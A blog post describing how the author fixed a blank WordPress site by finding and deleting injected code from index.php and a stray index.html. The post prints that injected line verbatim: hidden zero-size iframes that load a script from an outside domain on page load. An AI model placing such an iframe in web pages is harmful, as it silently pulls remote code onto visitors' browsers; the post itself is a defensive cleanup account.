Blank Page on Wordpress Fix

Blank Page on Wordpress Fix

Did you go to your Wordpress blog and find a blank page instead? I had the same thing happen to me today and I was horrified!

What do you do when you get a blank page on Wordpress?

Firstly I check that I could log in to the Wordpress backend. I could and I looked around but couldn’t find anything wrong there.

Next, I logged onto the root of my domain but I couldn’t see anything suspicious there either.

Then I searched Google. Some of the results suggested updating to the latest version of Wordpress (mine already was) and that I disable all the plugins as this was the most likely culprit.

I renamed the plugin directory and refreshed the page. Still not working!

I had noticed before that there was two index files on the server so I downloaded them both; index.php and index.html. Also the .htaccess file.

The .htaccess file looked ok but when I opened the index.php and index.html files, I found a line of code that was identical in both that looked very suspicious. It was the following:

<iframe name=”StatPage” src=”http://million-one.net/script.php” width=5 height=5 style=”display:none”></iframe><iframe name=”StatPage” src=”http://million-one.net/script.php” width=5 height=5 style=”display:none”></iframe>

I was not familiar at all with the domain in the code. I deleted the above code from the index.php file.

The index.html file contained only the above code and nothing else so I deleted the index.html file altogether.

After making those changes I was able to see my Wordpress blog again. Oh, the joy!

I don’t think that Wordpress creates an index.html file at all, so if you ever see one on your site, check it out and delete it.

Have you found another reason why you got a blank page on Wordpress? Let us know by posting a comment below.

Share and Enjoy:
  • Digg
  • Facebook
  • Twitter
  • del.icio.us
  • Technorati
  • StumbleUpon
  • Sphinn
  • MySpace
  • Blogplay
  • Reddit
  • FriendFeed
  • Mixx
  • Yahoo! Buzz
  • MSN Reporter
  • LinkedIn
  • Google Bookmarks
  • Add to favorites
  • Yahoo! Bookmarks
  • RSS
  • email
  • Print

Post to Twitter